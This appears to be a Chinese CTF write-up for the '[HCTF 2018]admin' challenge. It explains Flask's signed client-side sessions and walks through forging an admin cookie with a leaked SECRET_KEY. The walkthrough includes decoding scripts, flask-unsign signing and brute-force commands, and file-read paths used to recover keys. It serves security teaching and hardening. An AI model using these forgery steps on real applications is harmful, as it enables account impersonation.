Flask Session伪造漏洞深度解析:从密钥泄露到身份劫持实战
1. 项目概述:一次经典的Flask Session伪造实战
最近在复盘一些经典的CTF Web题目,BUUCTF平台上的这道“[HCTF 2018]admin 1”给我留下了很深的印象。它不像那些需要复杂链式利用的漏洞,而是精准地指向了Flask框架一个非常典型且在实际开发中容易被忽视的安全问题——Session伪造。对于刚接触Web安全或者Flask开发的朋友来说,这个案例就像一份绝佳的教学样本,它清晰地展示了从信息泄露到密钥获取,再到最终伪造身份的全过程。如果你对Flask的工作原理、Session机制,或者“为什么我知道密钥就能成为任何人”感到好奇,那么跟着我一起拆解这道题,你不仅能拿到Flag,更能透彻理解背后的安全逻辑。
这道题的核心目标很明确:以管理员(admin)身份登录系统并获取Flag。题目环境是一个典型的Flask Web应用,提供了注册和登录功能。表面上看,我们只是一个普通用户,但通过一系列测试和分析,我们发现整个安全大厦的基石——SECRET_KEY——暴露了。这就好比你知道了一把万能钥匙的铸造方法,可以为自己打造任何房间的钥匙。接下来,我会带你一步步重现我是如何找到这把“钥匙”,并最终打造出“管理员身份钥匙”的。
2. 核心漏洞原理:Flask Session机制深度拆解
要发起有效的攻击,你必须先彻底理解攻击的对象。Flask的Session机制是其安全性的一个双刃剑,它设计得非常巧妙,但一旦配置不当,就会成为最脆弱的环节。
2.1 为什么HTTP需要Session?
HTTP协议本身是“无状态”的,服务器不会记得上一次是谁、做了什么。这对于需要登录、购物车等功能的现代网站来说是灾难。Session机制就是为了解决这个问题而生的。简单来说,服务器为每个用户会话创建一个唯一的“储物柜”(Session),里面存放用户的状态信息(如登录状态、用户名)。为了把“储物柜钥匙”交给用户,服务器将其放在响应头的Set-Cookie字段中,通常这个Cookie的名字就是session。用户下次请求时,浏览器会自动带上这把“钥匙”(Cookie),服务器就能找到对应的“储物柜”,认出用户。
2.2 Flask Session的独特之处:客户端存储
大多数框架(如Django、Java Spring)默认将Session数据存储在服务端(数据库、Redis等),客户端只保存一个随机生成的Session ID。但Flask采用了另一种思路:它将序列化、签名后的整个Session数据,直接存储在客户端的Cookie中。这种方式被称为“客户端Session”或“基于Cookie的Session”。
它的工作流程是这样的:
- 序列化与压缩:当你在Flask中设置
session[‘username’] = ‘guest’,Flask会先将这个字典对象通过JSON序列化成字符串。然后,为了减少Cookie体积,它会使用zlib库进行压缩(如果数据足够大)。 - 编码:压缩后的二进制数据,会经过Base64编码,转换成可以在HTTP头部安全传输的字符串。
- 生成时间戳:Flask会生成一个当前时间的时间戳,用于会话过期判断(默认31天)。
- 计算签名(最关键的一步):Flask将上一步得到的“编码后的Session数据”和“时间戳”拼接起来,然后使用应用配置的
SECRET_KEY作为密钥,通过HMAC(密钥散列消息认证码)算法生成一个密码学签名。 - 组装Cookie值:最终,Flask会将这些部分用点号
.连接起来,格式为:{base64编码的session数据}.{时间戳}.{HMAC签名},并将其设置为名为session的Cookie。
一个真实的Flask Session Cookie看起来是这样的:eyJ1c2VybmFtZSI6Imd1ZXN0In0.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0。你可以用点号将其拆分为三段。
2.3 安全性的核心:签名与SECRET_KEY
为什么说这种机制是安全的?关键在于签名。服务器在接收到Cookie后,会做以下验证:
- 用同样的方法(使用
SECRET_KEY)对收到的“Session数据”和“时间戳”重新计算一次HMAC签名。 - 将计算出的新签名与Cookie中附带的签名进行比对。
如果两者一致,证明数据在传输过程中未被篡改,且确实是由知道SECRET_KEY的合法服务器签发的。如果不一致,Flask会直接丢弃这个Session,视为无效。
这里就引出了最致命的攻击面:整个安全模型完全依赖于SECRET_KEY的保密性。如果攻击者通过某种方式(如源码泄露、配置错误、任意文件读取)获取了SECRET_KEY,那么整个签名机制就形同虚设。攻击者可以:
- 解密任意用户的Session Cookie,查看其内容。
- 篡改Session数据(例如,将
username从guest改为admin)。 - 使用正确的
SECRET_KEY为篡改后的数据生成新的、有效的签名。 - 将伪造的Cookie发送给服务器,服务器验证签名通过,从而信任其中伪造的身份信息。
这就是“Flask Session伪造”攻击的完整逻辑。它本质上是一种“密钥泄露导致身份验证体系被绕过”的漏洞。
注意:很多人会混淆“解密”和“验证”。Flask的Session数据(第一段)仅是Base64编码,本质上相当于明文,没有
SECRET_KEY也能解码查看内容。SECRET_KEY的作用是签名和验证,防止数据被篡改。获取SECRET_KEY后,我们不是去“解密”被加密的数据,而是去“签署”我们任意构造的数据。
3. 实战演练:[HCTF 2018]admin 1 解题全流程
理解了原理,我们进入实战。我会以第一视角,带你完整复现解题的每一步操作和思考过程。
3.1 环境初探与信息收集
首先,访问题目提供的Web地址。一个常见的登录/注册界面。作为标准流程,我注册了一个普通账号(例如:test/test123)并登录。
登录成功后,使用浏览器开发者工具(F12)查看网络请求。在任何一个请求的Cookie栏里,果然看到了一个名为session的Cookie,其值正是我们刚才分析的“点分三段式”结构。这是第一个重要信息:这是一个使用默认客户端Session的Flask应用。
接下来是信息收集的关键。我习惯性地查看网页源代码。在注释中,发现了宝藏:
<!-- https://github.com/woadsl1234/hctf_flask/ -->开发者(或出题人)无意或有意地将源码仓库地址留在了注释里。这通常是CTF题目的重要突破口。访问这个Github仓库(或题目可能直接提供了源码文件),我们成功下载到了应用的源代码。
3.2 源码审计与密钥定位
拿到源码后,开始快速审计。项目结构通常包含主应用文件(如app.py、main.py)和配置文件。
首先查看配置文件:在Flask项目中,
SECRET_KEY通常定义在配置文件里,如config.py、settings.py,或者直接写在主应用文件中。我们很快找到了config.py:SECRET_KEY = ‘ckj123’Bingo!我们毫不费力地拿到了整个应用安全的核心——
SECRET_KEY。在实际渗透测试或漏洞挖掘中,密钥可能通过其他方式泄露,比如:- 版本控制文件(
.git)泄露,从中可以找到历史版本中的配置文件。 - 服务器错误信息回显,有时会暴露部分配置。
- 备份文件(如
config.py.bak,app.py~)泄露。 - 通过其他漏洞(如本题可能存在的任意文件读取)读取配置文件。
- 版本控制文件(
分析主应用逻辑:查看
app.py或routes.py,寻找身份验证和Flag相关的路由。from flask import Flask, session, render_template, request, redirect, url_for import config app = Flask(__name__) app.config.from_object(‘config’) # 加载配置,SECRET_KEY在此生效 @app.route(‘/’) def index(): if session and session.get(‘name’) == ‘admin’: return render_template(‘index.html’, flag=flag) # 假设flag在这里 return render_template(‘index.html’)代码逻辑非常清晰:如果Session存在且其中
name字段的值为admin,则渲染包含Flag的页面。我们的目标就是伪造一个name=admin的Session。
3.3 Session解密与内容分析
在伪造之前,我们先看看自己当前登录的普通用户Session里有什么。使用Python脚本或在线工具对Cookie进行解码(因为数据部分只是Base64编码,无需密钥)。
我编写了一个简单的解码脚本:
import base64 import json import zlib def decode_flask_session(cookie_value): # 分割Cookie值 data_b64, timestamp, signature = cookie_value.split(‘.’) # 对数据部分进行Base64解码 data = base64.urlsafe_b64decode(data_b64 + ‘=’ * (4 - len(data_b64) % 4)) # 尝试解压(Flask会对较长数据压缩) try: data = zlib.decompress(data) except: pass # 未压缩则跳过 # 将字节串转换为字符串并JSON解析 session_dict = json.loads(data.decode(‘utf-8’)) return session_dict, timestamp, signature # 替换为你抓取的session cookie值 cookie = ‘eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0’ session_data, ts, sig = decode_flask_session(cookie) print(“Session Data:”, session_data) print(“Timestamp:”, ts) print(“Signature:”, sig)运行后,输出可能类似于:
Session Data: {‘_fresh’: True, ‘_id’: ‘...’, ‘name’: ‘test’, ‘user_id’: ‘2’} Timestamp: Y48ncA Signature: H99Th2w4FzzphEX8qAeiSPuUF_0可以看到,当前Session中name字段是test,user_id是2。我们的目标是将name修改为admin。
3.4 使用工具伪造Session
手动构造签名比较麻烦,我们可以利用现成的工具。最常用的是flask-unsign,它是一个强大的Flask Session操作命令行工具。
首先安装:pip install flask-unsign
然后按照以下步骤操作:
使用获取到的SECRET_KEY破解签名(验证密钥正确性):
flask-unsign --decode --cookie ‘你的session cookie值’如果密钥正确,这条命令会直接解码出Session内容。但更常用的验证方式是使用
--unsign尝试剥离签名并验证:flask-unsign --unsign --cookie ‘你的session cookie值’ --secret ‘ckj123’如果密钥正确,它会输出解码后的Session数据。
伪造新的Session: 我们需要构造一个字典,包含我们想要的字段。根据源码,我们需要
name=admin。可能还需要保留一些Flask内部字段如_fresh。flask-unsign --sign --secret ‘ckj123’ --cookie “{‘name’: ‘admin’}”这条命令会使用密钥
ckj123,对字典{‘name’: ‘admin’}进行序列化、编码、签名,并输出完整的、伪造好的Session Cookie字符串。实操心得:
flask-unsign在签名时可能会自动添加一些内部字段(如_fresh)。为了完全控制,你可以先解码一个合法Session,将其保存为文件,修改name字段后,再用这个文件作为输入进行签名。命令如下:# 1. 解码并保存到文件 flask-unsign --decode --cookie ‘原cookie’ > session_data.json # 2. 编辑session_data.json文件,将name改为admin # 3. 从文件读取并签名 flask-unsign --sign --secret ‘ckj123’ --cookie “$(cat session_data.json)”
3.5 替换Cookie与获取Flag
拿到伪造的Cookie字符串后,最后一步就是让浏览器使用它。有多种方法:
- 浏览器开发者工具:打开F12,进入“应用程序”(Application)或“存储”(Storage)标签页,找到Cookies,选中当前网站域名,将
sessionCookie的值替换为伪造的值。 - 使用浏览器插件:如
EditThisCookie,可以更方便地编辑Cookie。 - 命令行工具(如curl):在请求头中直接指定Cookie。
curl -H “Cookie: session=伪造的cookie值” http://题目地址/
替换完成后,直接刷新页面。如果一切正确,页面应该会显示Flag,或者跳转到管理员界面。在本题目中,刷新首页后,原本普通用户的界面发生了变化,直接显示了最终的Flag。
4. 漏洞的深入利用与拓展场景
通过这道题,我们掌握了最基本的“密钥泄露->伪造Session”的攻击路径。但在更复杂的环境下,攻击方式会更加多样。
4.1 密钥的获取方式不止一种
除了源码泄露,SECRET_KEY还可能通过以下方式被攻击者获取:
- 弱密钥爆破:如果开发人员设置了非常简单的
SECRET_KEY(如‘123456’,‘flask’,‘secret’),攻击者可以使用flask-unsign的爆破模式进行尝试。flask-unsign --unsign --cookie ‘目标cookie’ --wordlist /path/to/wordlist.txt - 其他漏洞链式利用:例如,题目
[CISCN2019 华东南赛区]Web41就展示了另一种经典场景。应用存在任意文件读取漏洞,通过读取/proc/self/cmdline发现是Python进程,进而读取app.py源码。源码显示SECRET_KEY由随机数生成,但随机数种子uuid.getnode()是服务器的MAC地址。攻击者再利用文件读取漏洞获取MAC地址文件(/sys/class/net/eth0/address),从而在本地重现随机数生成过程,计算出完全相同的SECRET_KEY。这是一种“信息泄露+逻辑推理”的组合拳。 - 环境变量泄露:在生产环境中,
SECRET_KEY通常通过环境变量设置。如果应用存在导致环境变量打印的错误处理(如debug=True时未捕获的异常),或者通过某些接口(如/debug、/status)泄露了环境信息,密钥也可能暴露。
4.2 Session的安全加固措施
作为开发者,如何避免自己的Flask应用出现此类问题?
- 使用强SECRET_KEY:必须使用足够长且随机的字符串作为密钥,可以通过
os.urandom(24)生成。绝对禁止使用硬编码的简单字符串。 - 区分环境配置:开发、测试、生产环境使用不同的
SECRET_KEY。切勿将生产环境的密钥提交到代码仓库。 - 使用服务器端Session:对于安全性要求高的应用,考虑使用
Flask-Session等扩展,将Session数据存储在服务端的Redis、Memcached或数据库中。客户端只保存一个无意义的Session ID。这样即使攻击者知道SECRET_KEY(此时用于签名Session ID),也无法直接篡改Session内容,因为他们无法接触到存储在服务端的实际数据。 - 关闭Debug模式:生产环境务必设置
app.debug = False。Debug模式会暴露堆栈跟踪信息,可能泄露源码片段、内部路径等敏感信息。 - 设置Session过期时间:合理配置
PERMANENT_SESSION_LIFETIME,缩短Session的有效期。 - 对敏感操作进行重认证:即使Session有效,在进行密码修改、支付等关键操作时,应要求用户再次输入密码或进行二次验证。
4.3 针对加固场景的攻击思考
即使应用采用了服务端Session,如果攻击者获得了SECRET_KEY,仍然可以伪造一个有效的Session ID,从而“冒领”一个服务端的Session存储位置。虽然他们无法直接修改该位置的内容(除非同时存在服务端存储的写漏洞),但他们可以抢占一个合法用户的会话。因此,保护SECRET_KEY永远是第一要务。
此外,还要注意Session Fixation(会话固定)攻击。即攻击者先获取一个有效的Session ID(Cookie),诱骗受害者使用这个ID登录。登录后,该Session ID就关联了受害者的权限,攻击者再用这个ID就能以受害者身份访问系统。防御方法是在用户登录成功后,务必使用session.regenerate()或重新分配一个新的Session ID。
5. 常见问题与排查技巧实录
在实战和教学过程中,我总结了一些新手容易踩坑的地方和排查技巧。
5.1 伪造失败的可能原因及排查
| 问题现象 | 可能原因 | 排查步骤 |
|---|---|---|
| 替换Cookie后,Session立即失效,被重置或跳转到登录页。 | 1.SECRET_KEY错误:这是最常见的原因。密钥与服务器使用的不匹配。 2.Session数据结构不完整:Flask可能依赖一些内部键(如 _id,_fresh,csrf_token)。伪造时只提供了业务字段,缺少这些内部字段导致服务器处理异常。 | 1. 再次确认密钥来源的准确性。尝试用该密钥解码一个已知有效的Cookie,看是否能成功。 2. 解码一个有效的合法Session,观察其完整结构。在伪造时,复制整个结构,只修改目标字段(如 name)。使用flask-unsign从文件签名可以很好地保留结构。 |
| 签名验证通过,但权限依然不够。 | 1.目标字段名错误:服务器检查的是username,而你修改的是name,或者大小写不一致。2.存在额外的权限校验:除了Session,服务器可能还检查IP、User-Agent,或与数据库中的状态进行二次校验。 | 1. 仔细审计源码,确认服务器检查的确切Session键名。 2. 查看其他路由或中间件,是否存在全局的权限检查逻辑。 |
使用flask-unsign时报解码或签名错误。 | 1.Cookie格式错误:可能包含了引号或换行符。 2.Python版本问题:加解密库在不同Python版本间有细微差异。 3.数据压缩问题:工具在处理zlib压缩时可能出错。 | 1. 确保复制的Cookie值完整且没有多余空格。 2. 尽量使用与目标服务器相同的主要Python版本(如Py2 vs Py3)进行操作。对于CTF题目,出题环境通常是Python2或Python3,这会影响随机数等行为。 3. 尝试使用 --no-compress选项禁用压缩,或者手动编写脚本进行更精细的控制。 |
5.2 工具使用技巧与脚本编写
flask-unsign进阶用法:- 暴力破解:除了使用
--wordlist,还可以指定字符集和长度进行暴力破解:flask-unsign --unsign --cookie ‘...’ --brute --charset ‘abcdef123456’ --length 6。但这仅在密钥极短时可行。 - 指定编码器:如果应用使用了自定义的序列化方法(非JSON),可能需要指定
--signer或编写自定义脚本。
- 暴力破解:除了使用
- 手工编解码脚本的意义:虽然工具有效,但理解并能手写编解码脚本至关重要。这能帮助你在工具不适用(如字段顺序、编码有特殊处理)时进行调试。核心就是模拟Flask的
itsdangerous库的URLSafeTimedSerializer的工作流程。
5.3 实战中的思维延伸
遇到Flask题目,可以养成以下检查习惯:
- 查看Cookie:首先看Cookie名是否为
session,值是否为三段式。这是最快速的判断。 - 寻找SECRET_KEY:检查源码、备份文件、
.git目录、环境变量、错误信息。 - 检查序列化方式:Flask默认使用JSON序列化。但如果有
pickle序列化的迹象(如题目涉及pickle.loads),那可能是更危险的反序列化漏洞,可能导致任意代码执行。 - 注意时间戳:Flask的Session有过期时间。如果伪造的Session时间戳与服务器时间相差太大(默认超过31天),可能会被拒绝。在伪造时,可以生成一个当前的时间戳。
最后,我想强调的是,Flask Session伪造漏洞的原理非常清晰,是学习Web安全中“身份验证绕过”和“密钥管理”的绝佳案例。它告诉我们,再坚固的密码学机制,如果密钥保管不当,一切皆是空谈。对于开发者,要时刻牢记安全配置的重要性;对于安全研究者,则要培养敏锐的信息收集和逻辑串联能力,往往Flag就藏在那些看似不起眼的注释、配置文件或者错误信息里。这道题的价值,远不止于拿到一个Flag,更在于它揭示了一个普遍的安全哲学:安全是一个链条,最薄弱的一环决定了它的强度。
